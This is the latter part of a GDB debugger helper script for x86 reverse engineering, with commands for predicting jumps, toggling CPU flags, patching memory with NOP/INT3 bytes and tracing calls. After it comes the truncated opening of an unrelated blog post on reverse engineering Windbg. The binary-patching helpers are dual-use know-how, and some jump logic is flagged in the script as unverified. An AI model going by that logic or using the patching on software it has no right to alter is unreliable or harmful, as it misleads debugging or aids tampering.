if \($\_byte1 == 0x71 || \($\_byte1 == 0x0F && $\_byte2 == 0x81\)\)

\# OF = 0

if \($\_of\_flag == 0\)

echo \033\[31m

printf " Jump is taken \(o flag\)"

else

\# OF = 1

echo \033\[31m

printf " Jump is NOT taken \(O flag\)"

end

end

\#\# JS: 0x78 or 0x0F88 \(SF = 1\)

if \($\_byte1 == 0x78 || \($\_byte1 == 0x0F && $\_byte2 == 0x88\)\)

\# SF = 1

if \($\_sf\_flag == 1\)

echo \033\[31m

printf " Jump is taken \(S flag\)"

else

\# SF = 0

echo \033\[31m

printf " Jump is NOT taken \(s flag\)"

end

end

\#\# JNS: 0x79 or 0x0F89 \(SF = 0\)

if \($\_byte1 == 0x79 || \($\_byte1 == 0x0F && $\_byte2 == 0x89\)\)

\# SF = 0

if \($\_sf\_flag == 0\)

echo \033\[31m

printf " Jump is taken \(s flag\)"

else

\# SF = 1

echo \033\[31m

printf " Jump is NOT taken \(S flag\)"

end

end

\#\# JE or JZ : 0x74 or 0x0F84 \(ZF = 1\)

if \($\_byte1 == 0x74 || \($\_byte1 == 0x0F && $\_byte2 == 0x84\)\)

\# ZF = 1

if \($\_zf\_flag == 1\)

echo \033\[31m

printf " Jump is taken \(Z flag\)"

else

\# ZF = 0

echo \033\[31m

printf " Jump is NOT taken \(z flag\)"

end

end

\#\# JNE or JNZ : 0x75 or 0x0F85 \(ZF = 0\)

if \($\_byte1 == 0x75 || \($\_byte1 == 0x0F && $\_byte2 == 0x85\)\)

\# ZF = 0

if \($\_zf\_flag == 0\)

echo \033\[31m

printf " Jump is taken \(z flag\)"

else

\# ZF = 1

echo \033\[31m

printf " Jump is NOT taken \(Z flag\)"

end

end

\#\# JB or JNAE or JC: 0x72 or 0x0F82 \(CF = 1\)

if \($\_byte1 == 0x72 || \($\_byte1 == 0x0F && $\_byte2 == 0x82\)\)

\# CF = 1

if \($\_cf\_flag == 1\)

echo \033\[31m

printf " Jump is taken \(C flag\)"

else

\# CF = 0

echo \033\[31m

printf " Jump is NOT taken \(c flag\)"

end

end

\#\# JNB or JAE or JNC: 0x73 or 0x0F83 \(CF = 0\)

if \($\_byte1 == 0x73 || \($\_byte1 == 0x0F && $\_byte2 == 0x83\)\)

\# CF = 0

if \($\_cf\_flag == 0\)

echo \033\[31m

printf " Jump is taken \(c flag\)"

else

\# CF = 1

echo \033\[31m

printf " Jump is NOT taken \(C flag\)"

end

end

\#\# JBE or JNA: 0x76 or 0x0F86 \(CF = 1 or ZF = 1\)

if \($\_byte1 == 0x76 || \($\_byte1 == 0x0F && $\_byte2 == 0x86\)\)

\# CF = 1 or ZF = 1

if \(\($\_cf\_flag == 1\) || \($\_zf\_flag == 1\)\)

echo \033\[31m

printf " Jump is taken \(C or Z flag\)"

else

\# CF = 0 or ZF = 0

echo \033\[31m

printf " Jump is NOT taken \(c or z flag\)"

end

end

\#\# JA or JNBE: 0x77 or 0x0F87 \(CF=0 and ZF=0\)

\#\# NOTES: verify is this one is correct\!

if \($\_byte1 == 0x77 || \($\_byte1 == 0x0F && $\_byte2 == 0x87\)\)

\# CF = 0 and ZF = 0

if \(\($\_cf\_flag == 0\) && \($\_zf\_flag == 0\)\)

echo \033\[31m

printf " Jump is taken \(c and z flag\)"

else

\# other cases

echo \033\[31m

printf " Jump is NOT taken \(not c and z flag\)"

end

end

\#\# JL or JNGE: 0x7C or 0x0F8C \(SF <> OF\)

if \($\_byte1 == 0x7C || \($\_byte1 == 0x0F && $\_byte2 == 0x8C\)\)

if \($\_sf\_flag \!= $\_of\_flag\)

echo \033\[31m

printf " Jump is taken \(s <> o flag\)"

else

\#

echo \033\[31m

printf " Jump is NOT taken \(s = o flag\)"

end

end

\#\# JGE or JNL: 0x7D or 0x0F8D \(SF = OF\)

if \($\_byte1 == 0x7D || \($\_byte1 == 0x0F && $\_byte2 == 0x8D\)\)

if \($\_sf\_flag == $\_of\_flag\)

echo \033\[31m

printf " Jump is taken \(s = o flag\)"

else

\#

echo \033\[31m

printf " Jump is NOT taken \(s <> o flag\)"

end

end

\#\# JLE or JNG: 0x7E or 0x0F8E \(ZF = 1 and SF = OF\)

if \($\_byte1 == 0x7E || \($\_byte1 == 0x0F && $\_byte2 == 0x8E\)\)

if \(\($\_zf\_flag == 1\) && \($\_sf\_flag == $\_of\_flag\)\)

echo \033\[31m

printf " Jump is taken"

else

\#

echo \033\[31m

printf " Jump is NOT taken"

end

end

\#\# JG or JNLE: 0x7F or 0x0F8F \(ZF = 0 and SF = OF\)

if \($\_byte1 == 0x7F || \($\_byte1 == 0x0F && $\_byte2 == 0x8F\)\)

if \(\($\_zf\_flag == 0\) && \($\_sf\_flag == $\_of\_flag\)\)

echo \033\[31m

printf " Jump is taken"

else

\#

echo \033\[31m

printf " Jump is NOT taken"

end

end

\#\# JP or JPE: 0x7A or 0x0F8A \(PF = 1\)

if \($\_byte1 == 0x7A || \($\_byte1 == 0x0F && $\_byte2 == 0x8A\)\)

\# PF = 1

if \($\_pf\_flag == 1\)

echo \033\[31m

printf " Jump is taken \(P flag\)"

else

\# PF = 0

echo \033\[31m

printf " Jump is NOT taken \(p flag\)"

end

end

\#\# JNP or JPO: 0x7B or 0x0F8B \(PF = 0\)

if \($\_byte1 == 0x7B || \($\_byte1 == 0x0F && $\_byte2 == 0x8B\)\)

\# PF = 0

if \($\_pf\_flag == 0\)

echo \033\[31m

printf " Jump is NOT taken \(p flag\)"

else

\# PF = 1

echo \033\[31m

printf " Jump is taken \(P flag\)"

end

end

\#\#\#\#\#\# FIX ME \!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!\!

\#\# JCXZ or JECXZ: 0xE3

  

\# end of dumpjump function

end

document dumpjump

Display if conditional jump will be taken or not

end

  

\# \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_process context\_\_\_\_\_\_\_\_\_\_\_\_\_\_

\# initialize variable

set $displayobjectivec = 0

  

define context

echo \033\[34m

if $SHOWCPUREGISTERS == 1

printf "\----------------------------------------"

printf "\----------------------------------"

echo \033\[34m\033\[1m

printf "\[regs\]\n"

echo \033\[0m

reg

echo \033\[36m

end

if $SHOWSTACK == 1

echo \033\[34m

printf "\[%04X:%08X\]", $ss, $esp

echo \033\[34m

printf "\-------------------------"

printf "\---------------------------------"

echo \033\[34m\033\[1m

printf "\[stack\]\n"

echo \033\[0m

set $context\_i = $CONTEXTSIZE\_STACK

while \($context\_i > 0\)

set $context\_t = $sp + 0x10 \* \($context\_i - 1\)

hexdump $context\_t

set $context\_i--

end

end

\# show the objective C message being passed to msgSend

if $SHOWOBJECTIVEC == 1

\# What a piece of crap that's going on here :\)

\# detect if it's the correct opcode we are searching for

set $\_\_byte1 = \*\(unsigned char \*\)$pc

set $\_\_byte = \*\(int \*\)$pc

\#

if \($\_\_byte == 0x4244489\)

set $objectivec = $eax

set $displayobjectivec = 1

end

\#

if \($\_\_byte == 0x4245489\)

set $objectivec = $edx

set $displayobjectivec = 1

end

\#

if \($\_\_byte == 0x4244c89\)

set $objectivec = $edx

set $displayobjectivec = 1

end

\# and now display it or not \(we have no interest in having the info
displayed after the call\)

if $\_\_byte1 == 0xE8

if $displayobjectivec == 1

echo \033\[34m

printf "\--------------------------------------------------------------------"

echo \033\[34m\033\[1m

printf "\[ObjectiveC\]\n"

echo \033\[0m\033\[30m

x/s $objectivec

end

set $displayobjectivec = 0

end

if $displayobjectivec == 1

echo \033\[34m

printf "\--------------------------------------------------------------------"

echo \033\[34m\033\[1m

printf "\[ObjectiveC\]\n"

echo \033\[0m\033\[30m

x/s $objectivec

end

end

echo \033\[0m

\# and this is the end of this little crap

  

if $SHOWDATAWIN == 1

datawin

end

  

echo \033\[34m

printf
"\--------------------------------------------------------------------------"

echo \033\[34m\033\[1m

printf "\[code\]\n"

echo \033\[0m

set $context\_i = $CONTEXTSIZE\_CODE

if\($context\_i > 0\)

x /i $pc

set $context\_i--

end

while \($context\_i > 0\)

x /i

set $context\_i--

end

echo \033\[34m

printf "\----------------------------------------"

printf "\----------------------------------------\n"

echo \033\[0m

end

document context

Print context window, i.e. regs, stack, ds:esi and disassemble cs:eip.

end

  

  

define context-on

set $SHOW\_CONTEXT = 1

printf "Displaying of context is now ON\n"

end

document context-on

Enable display of context on every program break.

end

  

  

define context-off

set $SHOW\_CONTEXT = 0

printf "Displaying of context is now OFF\n"

end

document context-off

Disable display of context on every program break.

end

  

  

\# \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_process control\_\_\_\_\_\_\_\_\_\_\_\_\_\_

define n

if $argc == 0

nexti

end

if $argc == 1

nexti $arg0

end

if $argc > 1

help n

end

end

document n

Step one instruction, but proceed through subroutine calls.

If NUM is given, then repeat it NUM times or till program stops.

This is alias for nexti.

Usage: n <NUM>

end

  

  

define go

if $argc == 0

stepi

end

if $argc == 1

stepi $arg0

end

if $argc > 1

help go

end

end

document go

Step one instruction exactly.

If NUM is given, then repeat it NUM times or till program stops.

This is alias for stepi.

Usage: go <NUM>

end

  

  

define pret

finish

end

document pret

Execute until selected stack frame returns \(step out of current call\).

Upon return, the value returned is printed and put in the value history.

end

  

  

define init

set $SHOW\_NEST\_INSN = 0

tbreak \_init

r

end

document init

Run program and break on \_init\(\).

end

  

  

define start

set $SHOW\_NEST\_INSN = 0

tbreak \_start

r

end

document start

Run program and break on \_start\(\).

end

  

  

define sstart

set $SHOW\_NEST\_INSN = 0

tbreak \_\_libc\_start\_main

r

end

document sstart

Run program and break on \_\_libc\_start\_main\(\).

Useful for stripped executables.

end

  

  

define main

set $SHOW\_NEST\_INSN = 0

tbreak main

r

end

document main

Run program and break on main\(\).

end

  

\#\#\#\# WARNING \! WARNING \!\!

\#\#\#\# More more messy stuff starting \!\!\!

\#\#\#\# I was thinking about how to do this and then it ocurred me that it
could be as simple as this \! :\)

define stepo

\#\# we know that an opcode starting by 0xE8 has a fixed length

\#\# for the 0xFF opcodes, we can enumerate what is possible to have

\# first we grab the first 3 bytes from the current program counter

set $\_byte1 = \*\(unsigned char \*\)$pc

set $\_byte2 = \*\(unsigned char \*\)\($pc+1\)

set $\_byte3 = \*\(unsigned char \*\)\($pc+2\)

\# and start the fun

\# if it's a 0xE8 opcode, the total instruction size will be 5 bytes

\# so we can simply calculate the next address and use a temporary breakpoint
\! Voila :\)

set $\_nextaddress = 0

\# this one is the must useful for us \!\!\!

if \($\_byte1 == 0xE8\)

set $\_nextaddress = $pc + 0x5

else

\# just other cases we might be interested in... maybe this should be removed
since the 0xE8 opcode is the one we will use more

\# this is a big fucking mess and can be improved for sure :\) I don't like
the way it is ehehehe

if \($\_byte1 == 0xFF\)

\# call \*%eax \(0xFFD0\) || call \*%edx \(0xFFD2\) || call \*\(%ecx\)
\(0xFFD1\) || call \(%eax\) \(0xFF10\) || call \*%esi \(0xFFD6\) || call
\*%ebx \(0xFFD3\)

if \($\_byte2 == 0xD0 || $\_byte2 == 0xD1 || $\_byte2 == 0xD2 || $\_byte2 ==
0xD3 || $\_byte2 == 0xD6 || $\_byte2 == 0x10 \)

set $\_nextaddress = $pc + 0x2

end

\# call \*0x??\(%ebp\) \(0xFF55??\) || call \*0x??\(%esi\) \(0xFF56??\) ||
call \*0x??\(%edi\) \(0xFF5F??\) || call \*0x??\(%ebx\)

\# call \*0x??\(%edx\) \(0xFF52??\) || call \*0x??\(%ecx\) \(0xFF51??\) ||
call \*0x??\(%edi\) \(0xFF57??\) || call \*0x??\(%eax\) \(0xFF50??\)

if \($\_byte2 == 0x55 || $\_byte2 == 0x56 || $\_byte2 == 0x5F || $\_byte2 ==
0x53 || $\_byte2 == 0x52 || $\_byte2 == 0x51 || $\_byte2 == 0x57 || $\_byte2
== 0x50\)

set $\_nextaddress = $pc + 0x3

end

\# call \*0x????????\(%ebx\) \(0xFF93????????\) ||

if \($\_byte2 == 0x93 || $\_byte2 == 0x94\)

set $\_nextaddress = $pc + 6

end

\# call \*0x????????\(%ebx,%eax,4\) \(0xFF94??????????\)

if \($\_byte2 == 0x94\)

set $\_nextaddress = $pc + 7

end

end

end

\# if we have found a call to bypass we set a temporary breakpoint on next
instruction and continue

if \($\_nextaddress \!= 0\)

tbreak \*$\_nextaddress

continue

\# else we just single step

else

nexti

end

\# end of stepo function

end

document stepo

Step over calls \(interesting to bypass the ones to msgSend\)

This function will set a temporary breakpoint on next instruction after the
call so the call will be bypassed

You can safely use it instead nexti or n since it will single step code if
it's not a call instruction \(unless you want to go into the call function\)

end

  

  

  

\# \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_eflags commands\_\_\_\_\_\_\_\_\_\_\_\_\_\_

define cfc

if \($eflags & 1\)

set $eflags = $eflags&~0x1

else

set $eflags = $eflags|0x1

end

end

document cfc

Change Carry Flag.

end

  

  

define cfp

if \(\($eflags >> 2\) & 1\)

set $eflags = $eflags&~0x4

else

set $eflags = $eflags|0x4

end

end

document cfp

Change Parity Flag.

end

  

  

define cfa

if \(\($eflags >> 4\) & 1\)

set $eflags = $eflags&~0x10

else

set $eflags = $eflags|0x10

end

end

document cfa

Change Auxiliary Carry Flag.

end

  

  

define cfz

if \(\($eflags >> 6\) & 1\)

set $eflags = $eflags&~0x40

else

set $eflags = $eflags|0x40

end

end

document cfz

Change Zero Flag.

end

  

  

define cfs

if \(\($eflags >> 7\) & 1\)

set $eflags = $eflags&~0x80

else

set $eflags = $eflags|0x80

end

end

document cfs

Change Sign Flag.

end

  

  

define cft

if \(\($eflags >>8\) & 1\)

set $eflags = $eflags&~0x100

else

set $eflags = $eflags|0x100

end

end

document cft

Change Trap Flag.

end

  

  

define cfi

if \(\($eflags >> 9\) & 1\)

set $eflags = $eflags&~0x200

else

set $eflags = $eflags|0x200

end

end

document cfi

Change Interrupt Flag.

Only privileged applications \(usually the OS kernel\) may modify IF.

This only applies to protected mode \(real mode code may always modify IF\).

end

  

  

define cfd

if \(\($eflags >>0xA\) & 1\)

set $eflags = $eflags&~0x400

else

set $eflags = $eflags|0x400

end

end

document cfd

Change Direction Flag.

end

  

  

define cfo

if \(\($eflags >> 0xB\) & 1\)

set $eflags = $eflags&~0x800

else

set $eflags = $eflags|0x800

end

end

document cfo

Change Overflow Flag.

end

  

  

  

\#
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_patch\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

define nop

if \($argc > 2 || $argc == 0\)

help nop

end

if \($argc == 1\)

set \*\(unsigned char \*\)$arg0 = 0x90

else

set $addr = $arg0

while \($addr < $arg1\)

set \*\(unsigned char \*\)$addr = 0x90

set $addr = $addr + 1

end

end

end

document nop

Usage: nop ADDR1 \[ADDR2\]

Patch a single byte at address ADDR1, or a series of bytes between ADDR1 and
ADDR2 to a NOP \(0x90\) instruction.

  

end

  

  

define null

if \( $argc >2 || $argc == 0\)

help null

end

if \($argc == 1\)

set \*\(unsigned char \*\)$arg0 = 0

else

set $addr = $arg0

while \($addr < $arg1\)

set \*\(unsigned char \*\)$addr = 0

set $addr = $addr +1

end

end

end

document null

Usage: null ADDR1 \[ADDR2\]

Patch a single byte at address ADDR1 to NULL \(0x00\), or a series of bytes
between ADDR1 and ADDR2.

  

end

  

  

define int3

if $argc \!= 1

help int3

else

set \*\(unsigned char \*\)$arg0 = 0xCC

end

end

document int3

Patch byte at address ADDR to an INT3 \(0xCC\) instruction.

Usage: int3 ADDR

end

  

  

  

  

\#
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_cflow\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

define print\_insn\_type

if $argc \!= 1

help print\_insn\_type

else

if \($arg0 < 0 || $arg0 > 5\)

printf "UNDEFINED/WRONG VALUE"

end

if \($arg0 == 0\)

printf "UNKNOWN"

end

if \($arg0 == 1\)

printf "JMP"

end

if \($arg0 == 2\)

printf "JCC"

end

if \($arg0 == 3\)

printf "CALL"

end

if \($arg0 == 4\)

printf "RET"

end

if \($arg0 == 5\)

printf "INT"

end

end

end

document print\_insn\_type

Print human-readable mnemonic for the instruction type \(usually
$INSN\_TYPE\).

Usage: print\_insn\_type INSN\_TYPE\_NUMBER

end

  

  

define get\_insn\_type

if $argc \!= 1

help get\_insn\_type

else

set $INSN\_TYPE = 0

set $\_byte1 = \*\(unsigned char \*\)$arg0

if \($\_byte1 == 0x9A || $\_byte1 == 0xE8\)

\# "call"

set $INSN\_TYPE = 3

end

if \($\_byte1 >= 0xE9 && $\_byte1 <= 0xEB\)

\# "jmp"

set $INSN\_TYPE = 1

end

if \($\_byte1 >= 0x70 && $\_byte1 <= 0x7F\)

\# "jcc"

set $INSN\_TYPE = 2

end

if \($\_byte1 >= 0xE0 && $\_byte1 <= 0xE3 \)

\# "jcc"

set $INSN\_TYPE = 2

end

if \($\_byte1 == 0xC2 || $\_byte1 == 0xC3 || $\_byte1 == 0xCA || \

$\_byte1 == 0xCB || $\_byte1 == 0xCF\)

\# "ret"

set $INSN\_TYPE = 4

end

if \($\_byte1 >= 0xCC && $\_byte1 <= 0xCE\)

\# "int"

set $INSN\_TYPE = 5

end

if \($\_byte1 == 0x0F \)

\# two-byte opcode

set $\_byte2 = \*\(unsigned char \*\)\($arg0 + 1\)

if \($\_byte2 >= 0x80 && $\_byte2 <= 0x8F\)

\# "jcc"

set $INSN\_TYPE = 2

end

end

if \($\_byte1 == 0xFF\)

\# opcode extension

set $\_byte2 = \*\(unsigned char \*\)\($arg0 + 1\)

set $\_opext = \($\_byte2 & 0x38\)

if \($\_opext == 0x10 || $\_opext == 0x18\)

\# "call"

set $INSN\_TYPE = 3

end

if \($\_opext == 0x20 || $\_opext == 0x28\)

\# "jmp"

set $INSN\_TYPE = 1

end

end

end

end

document get\_insn\_type

Recognize instruction type at address ADDR.

Take address ADDR and set the global $INSN\_TYPE variable to

0, 1, 2, 3, 4, 5 if the instruction at that address is

unknown, a jump, a conditional jump, a call, a return, or an interrupt.

Usage: get\_insn\_type ADDR

end

  

  

define step\_to\_call

set $\_saved\_ctx = $SHOW\_CONTEXT

set $SHOW\_CONTEXT = 0

set $SHOW\_NEST\_INSN = 0

set logging file /dev/null

set logging redirect on

set logging on

set $\_cont = 1

while \($\_cont > 0\)

stepi

get\_insn\_type $pc

if \($INSN\_TYPE == 3\)

set $\_cont = 0

end

end

  

set logging off

  

if \($\_saved\_ctx > 0\)

context

end

  

set $SHOW\_CONTEXT = $\_saved\_ctx

set $SHOW\_NEST\_INSN = 0

set logging file ~/gdb.txt

set logging redirect off

set logging on

printf "step\_to\_call command stopped at:\n "

x/i $pc

printf "\n"

set logging off

  

end

document step\_to\_call

Single step until a call instruction is found.

Stop before the call is taken.

Log is written into the file ~/gdb.txt.

end

  

  

define trace\_calls

  

printf "Tracing...please wait...\n"

  

set $\_saved\_ctx = $SHOW\_CONTEXT

set $SHOW\_CONTEXT = 0

set $SHOW\_NEST\_INSN = 0

set $\_nest = 1

set listsize 0

set logging overwrite on

set logging file ~/gdb\_trace\_calls.txt

set logging on

set logging off

set logging overwrite off

  

while \($\_nest > 0\)

get\_insn\_type $pc

\# handle nesting

if \($INSN\_TYPE == 3\)

set $\_nest = $\_nest + 1

else

if \($INSN\_TYPE == 4\)

set $\_nest = $\_nest - 1

end

end

\# if a call, print it

if \($INSN\_TYPE == 3\)

set logging file ~/gdb\_trace\_calls.txt

set logging redirect off

set logging on

  

set $x = $\_nest - 2

while \($x > 0\)

printf "\t"

set $x = $x - 1

end

x/i $pc

end

  

set logging off

set logging file /dev/null

set logging redirect on

set logging on

stepi

set logging redirect off

set logging off

end

  

set $SHOW\_CONTEXT = $\_saved\_ctx

set $SHOW\_NEST\_INSN = 0

printf "Done, check ~/gdb\_trace\_calls.txt\n"

end

document trace\_calls

Create a runtime trace of the calls made by target.

Log overwrites\(\!\) the file ~/gdb\_trace\_calls.txt.

end

  

  

define trace\_run

printf "Tracing...please wait...\n"

  

set $\_saved\_ctx = $SHOW\_CONTEXT

set $SHOW\_CONTEXT = 0

set $SHOW\_NEST\_INSN = 1

set logging overwrite on

set logging file ~/gdb\_trace\_run.txt

set logging redirect on

set logging on

set $\_nest = 1

  

while \( $\_nest > 0 \)

  

get\_insn\_type $pc

\# jmp, jcc, or cll

if \($INSN\_TYPE == 3\)

set $\_nest = $\_nest + 1

else

\# ret

if \($INSN\_TYPE == 4\)

set $\_nest = $\_nest - 1

end

end

stepi

end

  

printf "\n"

  

set $SHOW\_CONTEXT = $\_saved\_ctx

set $SHOW\_NEST\_INSN = 0

set logging redirect off

set logging off

  

\# clean up trace file

shell grep -v ' at ' ~/gdb\_trace\_run.txt > ~/gdb\_trace\_run.1

shell grep -v ' in ' ~/gdb\_trace\_run.1 > ~/gdb\_trace\_run.txt

shell rm -f ~/gdb\_trace\_run.1

printf "Done, check ~/gdb\_trace\_run.txt\n"

end

document trace\_run

Create a runtime trace of target.

Log overwrites\(\!\) the file ~/gdb\_trace\_run.txt.

end

  

  

  

  

\#
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_misc\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

define hook-stop

  

\# this makes 'context' be called at every BP/step

if \($SHOW\_CONTEXT > 0\)

context

end

if \($SHOW\_NEST\_INSN > 0\)

set $x = $\_nest

while \($x > 0\)

printf "\t"

set $x = $x - 1

end

end

end

document hook-stop

\!\!\! FOR INTERNAL USE ONLY - DO NOT CALL \!\!\!

end

  

\# original by Tavis Ormandy
\(http://my.opera.com/taviso/blog/index.dml/tag/gdb\) \(great fix\!\)

\# modified to work with Mac OS X by fG\!

\# seems nasm shipping with Mac OS X has problems accepting input from stdin
or heredoc

\# input is read into a variable and sent to a temporary file which nasm can
read

define assemble

\# dont enter routine again if user hits enter

dont-repeat

if \($argc\)

if \(\*$arg0 = \*$arg0\)

\# check if we have a valid address by dereferencing it,

\# if we havnt, this will cause the routine to exit.

end

printf "Instructions will be written to %\#x.\n", $arg0

else

printf "Instructions will be written to stdout.\n"

end

printf "Type instructions, one per line."

echo \033\[1m

printf " Do not forget to use NASM assembler syntax\!\n"

echo \033\[0m

printf "End with a line saying just \"end\".\n"

if \($argc\)

\# argument specified, assemble instructions into memory at address specified.

shell ASMOPCODE="$\(while read -ep '>' r && test "$r" \!= end ; do echo -E
"$r"; done\)" ; FILENAME=$RANDOM; \

echo -e "BITS 32\n$ASMOPCODE">/tmp/$FILENAME ; /usr/bin/nasm -f bin -o /dev/stdout /tmp/$FILENAME | /usr/bin/hexdump -ve '1/1 "set \*\(\(unsigned char \*\) $arg0 + %\#2\_ax\) = %\#02x\n"'>/tmp/gdbassemble ; /bin/rm -f /tmp/$FILENAME 
source /tmp/gdbassemble

\# all done. clean the temporary file

shell /bin/rm -f /tmp/gdbassemble

else

\# no argument, assemble instructions to stdout

shell ASMOPCODE="$\(while read -ep '>' r && test "$r" \!= end ; do echo -E
"$r"; done\)" ; FILENAME=$RANDOM; \

echo -e "BITS 32\n$ASMOPCODE">/tmp/$FILENAME ; /usr/bin/nasm -f bin -o /dev/stdout /tmp/$FILENAME | /usr/bin/ndisasm -i -b32 /dev/stdin ; /bin/rm -f /tmp/$FILENAME 
end

end

document assemble

Assemble instructions using nasm.

Type a line containing "end" to indicate the end.

If an address is specified, insert/modify instructions at that address.

If no address is specified, assembled instructions are printed to stdout.

Use the pseudo instruction "org ADDR" to set the base address.

end

  

define assemble\_gas

printf "\nType code to assemble and hit Ctrl-D when finished.\n"

printf "You must use GNU assembler \(AT&T\) syntax.\n"

  

shell filename=$\(mktemp\); \

binfilename=$\(mktemp\); \

echo -e "Writing into: $\{filename\}\n"; \

cat > $filename; echo ""; \

as -o $binfilename < $filename; \

objdump -d -j .text $binfilename; \

rm -f $binfilename; \

rm -f $filename; \

echo -e "temporaly files deleted.\n"

end

document assemble\_gas

Assemble instructions to binary opcodes. Uses GNU as and objdump.

Usage: assemble\_gas

end

  

  

define dump\_hexfile

dump ihex memory $arg0 $arg1 $arg2

end

document dump\_hexfile

Write a range of memory to a file in Intel ihex \(hexdump\) format.

The range is specified by ADDR1 and ADDR2 addresses.

Usage: dump\_hexfile FILENAME ADDR1 ADDR2

end

  

  

define dump\_binfile

dump memory $arg0 $arg1 $arg2

end

document dump\_binfile

Write a range of memory to a binary file.

The range is specified by ADDR1 and ADDR2 addresses.

Usage: dump\_binfile FILENAME ADDR1 ADDR2

end

  

  

define cls

shell clear

end

document cls

Clear screen.

end

  

  

  

  

\# \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_user
tips\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

\# The 'tips' command is used to provide tutorial-like info to the user

define tips

printf "Tip Topic Commands:\n"

printf "\ttip\_display : Automatically display values on each break\n"

printf "\ttip\_patch : Patching binaries\n"

printf "\ttip\_strip : Dealing with stripped binaries\n"

printf "\ttip\_syntax : AT&T vs Intel syntax\n"

end

document tips

Provide a list of tips from users on various topics.

end

  

  

define tip\_patch

printf "\n"

printf " PATCHING MEMORY\n"

printf "Any address can be patched using the 'set' command:\n"

printf "\t\`set ADDR = VALUE\` \te.g. \`set \*0x8049D6E = 0x90\`\n"

printf "\n"

printf " PATCHING BINARY FILES\n"

printf "Use \`set write\` in order to patch the target executable\n"

printf "directly, instead of just patching memory\n"

printf "\t\`set write on\` \t\`set write off\`\n"

printf "Note that this means any patches to the code or data segments\n"

printf "will be written to the executable file\n"

printf "When either of these commands has been issued,\n"

printf "the file must be reloaded.\n"

printf "\n"

end

document tip\_patch

Tips on patching memory and binary files.

end

  

  

define tip\_strip

printf "\n"

printf " STOPPING BINARIES AT ENTRY POINT\n"

printf "Stripped binaries have no symbols, and are therefore tough to\n"

printf "start automatically. To debug a stripped binary, use\n"

printf "\tinfo file\n"

printf "to get the entry point of the file\n"

printf "The first few lines of output will look like this:\n"

printf "\tSymbols from '/tmp/a.out'\n"

printf "\tLocal exec file:\n"

printf "\t \`/tmp/a.out', file type elf32-i386.\n"

printf "\t Entry point: 0x80482e0\n"

printf "Use this entry point to set an entry point:\n"

printf "\t\`tbreak \*0x80482e0\`\n"

printf "The breakpoint will delete itself after the program stops as\n"

printf "the entry point\n"

printf "\n"

end

document tip\_strip

Tips on dealing with stripped binaries.

end

  

  

define tip\_syntax

printf "\n"

printf "\t INTEL SYNTAX AT&T SYNTAX\n"

printf "\tmnemonic dest, src, imm mnemonic src, dest, imm\n"

printf "\t\[base+index\*scale+disp\] disp\(base, index, scale\)\n"

printf "\tregister: eax register: %%eax\n"

printf "\timmediate: 0xFF immediate: $0xFF\n"

printf "\tdereference: \[addr\] dereference: addr\(,1\)\n"

printf "\tabsolute addr: addr absolute addr: \*addr\n"

printf "\tbyte insn: mov byte ptr byte insn: movb\n"

printf "\tword insn: mov word ptr word insn: movw\n"

printf "\tdword insn: mov dword ptr dword insn: movd\n"

printf "\tfar call: call far far call: lcall\n"

printf "\tfar jump: jmp far far jump: ljmp\n"

printf "\n"

printf "Note that order of operands in reversed, and that AT&T syntax\n"

printf "requires that all instructions referencing memory operands \n"

printf "use an operand size suffix \(b, w, d, q\)\n"

printf "\n"

end

document tip\_syntax

Summary of Intel and AT&T syntax differences.

end

  

  

define tip\_display

printf "\n"

printf "Any expression can be set to automatically be displayed every time\n"

printf "the target stops. The commands for this are:\n"

printf "\t\`display expr' : automatically display expression 'expr'\n"

printf "\t\`display' : show all displayed expressions\n"

printf "\t\`undisplay num' : turn off autodisplay for expression \# 'num'\n"

printf "Examples:\n"

printf "\t\`display/x \*\(int \*\)$esp\` : print top of stack\n"

printf "\t\`display/x \*\(int \*\)\($ebp+8\)\` : print first parameter\n"

printf "\t\`display \(char \*\)$esi\` : print source string\n"

printf "\t\`display \(char \*\)$edi\` : print destination string\n"

printf "\n"

end

document tip\_display

Tips on automatically displaying values when a program stops.

end

  

\# bunch of semi-useless commands

  

\# enable and disable shortcuts for stop-on-solib-events fantastic trick\!

define enablesolib

set stop-on-solib-events 1

end

document enablesolib

Shortcut to enable stop-on-solib-events trick\!

end

  

define disablesolib

set stop-on-solib-events 0

end

document disablesolib

Shortcut to disable stop-on-solib-events trick\!

end

  

\# enable commands for different displays

define enableobjectivec

set $SHOWOBJECTIVEC = 1

end

document enableobjectivec

Enable display of objective-c information in the context window

end

  

define enablecpuregisters

set $SHOWCPUREGISTERS = 1

end

document enablecpuregisters

Enable display of cpu registers in the context window

end

  

define enablestack

set $SHOWSTACK = 1

end

document enablestack

Enable display of stack in the context window

end

  

define enabledatawin

set $SHOWDATAWIN = 1

end

document enabledatawin

Enable display of data window in the context window

end

  

\# disable commands for different displays

define disableobjectivec

set $SHOWOBJECTIVEC = 0

end

document disableobjectivec

Disable display of objective-c information in the context window

end

  

define disablecpuregisters

set $SHOWCPUREGISTERS = 0

end

document disablecpuregisters

Disable display of cpu registers in the context window

end

  

define disablestack

set $SHOWSTACK = 0

end

document disablestack

Disable display of stack information in the context window

end

  

define disabledatawin

set $SHOWDATAWIN = 0

end

document disabledatawin

Disable display of data window in the context window

end

  

\#EOF

  

# Satoshi's note: Reverse Engineering Windbg Commands for Profit

**Created:**| _6/24/2015 9:54:36 AM_  
---|---  
**Updated:**| _6/24/2015 9:54:36 AM_  
**Author:**| __  
**Tags:**| _reversing windbg_  
  

In this article, I will introduce benefit of reverse engineering Windbg for
understanding the Windows kernel with looking at an undocumented command,
fixing an issue in it and re-implementing the same functionality on a device
driver.

Windbg is a powerful resource not only because you can see thorough run-time
information even if you do not know how to manually do that but also you can
learn how Windbg does that with reverse engineering it. Implementation of the
\!timer command is, for example, where you should examine if you want to know
how to enumerate all scheduled timer callbacks.

But, what if you cannot find the command that works with internals you are
interested in? In my case, I was looking for a way to list items inserted into
